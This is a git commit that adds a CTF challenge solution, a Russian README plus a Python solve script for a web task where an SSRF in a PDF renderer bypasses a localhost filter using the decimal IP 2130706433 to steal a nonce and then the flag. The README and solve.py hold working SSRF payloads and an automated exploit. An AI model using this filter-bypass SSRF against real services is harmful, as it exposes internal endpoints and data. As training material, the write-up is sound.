Init. commit
This commit is contained in:
41
ForesightRune-Web/README.md
Normal file
41
ForesightRune-Web/README.md
Normal file
@@ -0,0 +1,41 @@
|
||||
# Руна Предвидения
|
||||
|
||||
В Гильдии Магов появилась Руна Предвидения: она не творит заклинаний, а описывает путь. Страж Портала Локхолда знает запретные имена, но не знает истинных числовых титулов. Составьте свиток так, чтобы руны вытащили тайну изнутри цитадели и напечатали её в PDF.
|
||||
|
||||
Свиток валиден, когда рунический заголовок и гравюра идут парой. Есть 2 режима работы: `meta` и `flag`.
|
||||
Формат:
|
||||
`[RUNE rid="..." mode="..." url="..."] `
|
||||
|
||||
|
||||
## Решение
|
||||
Сначала изучаем страницу и связанные параметры. По *cookie* находим `rune_rid`, а из описания понимаем, что руна должна использовать этот идентификатор в заголовке. Прямой `localhost` блокируется, поэтому для **SSRF** используем числовую форму `127.0.0.1` - `2130706433`.
|
||||
|
||||
### Получение `nonce`
|
||||
Для первого запроса используем `mode="meta"`. Тогда сервис возвращает служебные данные, в которых печатается одноразовый `nonce`.
|
||||
|
||||
```
|
||||
[RUNE rid="RID_ИЗ_COOKIE" mode="meta" url="http://2130706433/meta"]
|
||||
|
||||

|
||||
```
|
||||
|
||||
После печати в PDF появится значение `nonce`.
|
||||
|
||||
### Получение флага
|
||||
Во втором свитке подставляем `nonce` из первого PDF и меняем режим на `flag`:
|
||||
|
||||
```
|
||||
[RUNE rid="RID_ИЗ_COOKIE" mode="flag" url="http://2130706433/flag?nonce=NONCE_ИЗ_PDF"]
|
||||
|
||||

|
||||
```
|
||||
|
||||
После печати второго свитка в PDF появляется флаг.
|
||||
|
||||
### Не забываем учесть:
|
||||
- Оракул отвечает только на навигацию документа, поэтому запрос через картинку не сработает: ``.
|
||||
- Прямой `http://127.0.0.1/...` блокируется стражем по подстроке.
|
||||
- `file:///flag.txt` блокируется фильтром протокола.
|
||||
- Гравюра принимает только `/etch` и строгие параметры `rid` и `what`.
|
||||
- Нельзя вставлять больше одной руны и одной гравюры в один свиток.
|
||||
- `nonce` одноразовый и живёт около 15 секунд.
|
||||
136
ForesightRune-Web/solve.py
Normal file
136
ForesightRune-Web/solve.py
Normal file
@@ -0,0 +1,136 @@
|
||||
import io
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
|
||||
import requests
|
||||
|
||||
|
||||
BASE_URL = "http://127.0.0.1:8000"
|
||||
SSRF_META_URL = "http://2130706433/meta"
|
||||
SSRF_FLAG_URL = "http://2130706433/flag?nonce={nonce}"
|
||||
|
||||
|
||||
def build_scroll(rid: str, mode: str, url: str) -> str:
|
||||
return (
|
||||
f'[RUNE rid="{rid}" mode="{mode}" url="{url}"]\n\n'
|
||||
f""
|
||||
)
|
||||
|
||||
|
||||
def get_rid(session: requests.Session) -> str:
|
||||
resp = session.get(f"{BASE_URL}/")
|
||||
resp.raise_for_status()
|
||||
rid = session.cookies.get("rune_rid")
|
||||
if not rid:
|
||||
raise RuntimeError("rune_rid cookie not found. Open / in browser once.")
|
||||
return rid
|
||||
|
||||
|
||||
def seal_scroll(session: requests.Session, content: str) -> bytes:
|
||||
resp = session.post(f"{BASE_URL}/seal", data={"content": content})
|
||||
if resp.status_code != 200:
|
||||
raise RuntimeError(f"/seal failed: {resp.status_code} {resp.text}")
|
||||
return resp.content
|
||||
|
||||
|
||||
def extract_text_from_pdf(data: bytes) -> str:
|
||||
try:
|
||||
import PyPDF2 # type: ignore
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
try:
|
||||
reader = PyPDF2.PdfReader(io.BytesIO(data))
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
texts = []
|
||||
for page in reader.pages:
|
||||
try:
|
||||
texts.append(page.extract_text() or "")
|
||||
except Exception:
|
||||
continue
|
||||
return "\n".join(texts)
|
||||
|
||||
|
||||
def extract_nonce_from_pdf(data: bytes) -> str:
|
||||
text = extract_text_from_pdf(data)
|
||||
if text:
|
||||
match = re.search(r"\b[A-Za-z0-9_-]{10,20}\b", text)
|
||||
if match:
|
||||
return match.group(0)
|
||||
|
||||
# Fallback: brute-search tokens in raw PDF bytes.
|
||||
raw = data.decode("latin1", errors="ignore")
|
||||
candidates = re.findall(r"\b[A-Za-z0-9_-]{10,20}\b", raw)
|
||||
if candidates:
|
||||
return candidates[0]
|
||||
raise RuntimeError("Nonce not found in PDF. Install PyPDF2 for reliable parsing.")
|
||||
|
||||
|
||||
def extract_flag_from_pdf(data: bytes) -> str:
|
||||
text = extract_text_from_pdf(data)
|
||||
if text:
|
||||
match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", text)
|
||||
if match:
|
||||
return match.group(0)
|
||||
|
||||
raw = data.decode("latin1", errors="ignore")
|
||||
match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", raw)
|
||||
if match:
|
||||
return match.group(0)
|
||||
raise RuntimeError("Flag not found in PDF. Install PyPDF2 for reliable parsing.")
|
||||
|
||||
|
||||
def fetch_svg_text(session: requests.Session, rid: str, what: str) -> str:
|
||||
resp = session.get(f"{BASE_URL}/etch", params={"rid": rid, "what": what})
|
||||
resp.raise_for_status()
|
||||
svg = resp.text
|
||||
match = re.search(r"<text[^>]*>([^<]+)</text>", svg)
|
||||
if match:
|
||||
return match.group(1).strip()
|
||||
raise RuntimeError("Failed to extract value from SVG.")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
global BASE_URL
|
||||
if len(sys.argv) > 1:
|
||||
base_url = sys.argv[1].rstrip("/")
|
||||
else:
|
||||
base_url = BASE_URL
|
||||
|
||||
BASE_URL = base_url
|
||||
|
||||
session = requests.Session()
|
||||
|
||||
rid = get_rid(session)
|
||||
print(f"[+] rid = {rid}")
|
||||
|
||||
# Step 1: get nonce via oracle
|
||||
scroll_meta = build_scroll(rid, "meta", SSRF_META_URL)
|
||||
pdf_meta = seal_scroll(session, scroll_meta)
|
||||
|
||||
# Prefer extracting from PDF; fallback to /etch if parsing fails.
|
||||
try:
|
||||
nonce = extract_nonce_from_pdf(pdf_meta)
|
||||
except Exception:
|
||||
nonce = fetch_svg_text(session, rid, "meta")
|
||||
|
||||
print(f"[+] nonce = {nonce}")
|
||||
|
||||
# Step 2: get flag
|
||||
scroll_flag = build_scroll(rid, "flag", SSRF_FLAG_URL.format(nonce=nonce))
|
||||
pdf_flag = seal_scroll(session, scroll_flag)
|
||||
|
||||
try:
|
||||
flag = extract_flag_from_pdf(pdf_flag)
|
||||
except Exception:
|
||||
flag = fetch_svg_text(session, rid, "flag")
|
||||
|
||||
print(f"[+] flag = {flag}")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Reference in New Issue
Block a user